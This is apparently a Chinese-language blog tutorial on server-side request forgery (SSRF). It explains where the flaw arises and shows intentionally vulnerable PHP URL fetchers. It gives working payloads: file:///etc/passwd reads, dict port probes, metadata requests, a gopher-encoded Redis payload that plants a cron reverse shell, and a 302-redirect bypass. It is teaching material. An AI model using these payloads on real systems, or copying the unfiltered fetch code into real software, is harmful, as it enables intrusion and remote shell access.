浅谈SSRF漏洞--基础篇

<h3>漏洞简介</h3>

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

注释:除了http/https等方式可以造成ssrf,类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务,只不过危害比较小而已。

<h3>漏洞挖掘</h3>

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

<h3>漏洞利用</h3>

<h4>攻击效果</h4>

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。

<h4>利用方式</h4>

ssrf攻击可能存在任何语言编写的应用,这里以php为例来分析。

<?php
if (isset($_GET['url'])){
$url = $_GET['url'];

$image = fopen($url, 'rb');
header("Content-Type: image/png");
fpassthru($image);
}

这是一段非常简单的代码,用在后端常用作远程加载图片,$url是我们可控的,但是没有对传入的url进行任何过滤,导致我们可以有很多种攻击方式:

GET /?url=file:///etc/passwd
GET /?url=dict://localhost:22/info
GET /?url=http://192.168.164.131/latest/meta-data/

这里读取我们用的是fpassthru函数,同时file_get_contents()、curl()、fsocksopen()均可能造成SSRF漏洞。

<?php
if (isset($_POST['url'])) 
{ 
$content = file_get_contents($_POST['url']); 
$filename ='./images/'.rand().';img1.jpg'; 
file_put_contents($filename, $content); 
echo $_POST['url']; 
$img = "&lt;img src=\"".$filename.""/>"; 
} 
echo $img; 
?>
<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result); 
echo $result;
}
?>

<h4>漏洞分析</h4>

先看下curl支持的协议:

curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.0g zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp 

Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL 

看以看到支持的协议非常多,ssrf中常用的协议有:http、gopher、https、dict、file.

<h4>本地利用</h4>

# 利用file协议查看文件:

curl -v 'file:///etc/passwd' 

# 利用dict探测端口:

curl -v 'dict://127.0.0.1:22' 
curl -v 'dict://127.0.0.1:6379/info' 

# 利用gopher协议反弹shell:

curl -v 'gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a1%0d%0a$4%0d%0aquit%0d%0a'

<h4>远程应用</h4>

<h5>代码</h5>

<?php 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
curl_setopt($ch, CURLOPT_HEADER, 0); 
curl_exec($ch); 
curl_close($ch); 
?>
# 利用file协议任意文件读取:

curl -v 'http://192.168.164.130/ssrf.php?url=file:///etc/passwd' 

# 利用dict协议查看端口:

curl -v 'http://192.168.164.130/ssrf.php?url=dict://127.0.0.1:22' 

# 利用gopher协议反弹shell:

curl -v 'http://192.168.164.130/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

<h5>代码</h5>

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>
  • 限制协议为HTTP、HTTPS
  • 设置跳转重定向为True(默认不跳转)

此时限制了协议导致无法利用dict协议,但是可以利用302跳转绕过:
302.php

<?php
header("Location: dict://192.168.164.130:22/info");

同样也可以利用跳转来利用file等协议。

<h3>参考</h3>

https://joychou.org/web/phpssrf.html
https://www.anquanke.com/post/id/145519#h2-1

1 + 1 =
快来做第一个评论的人吧~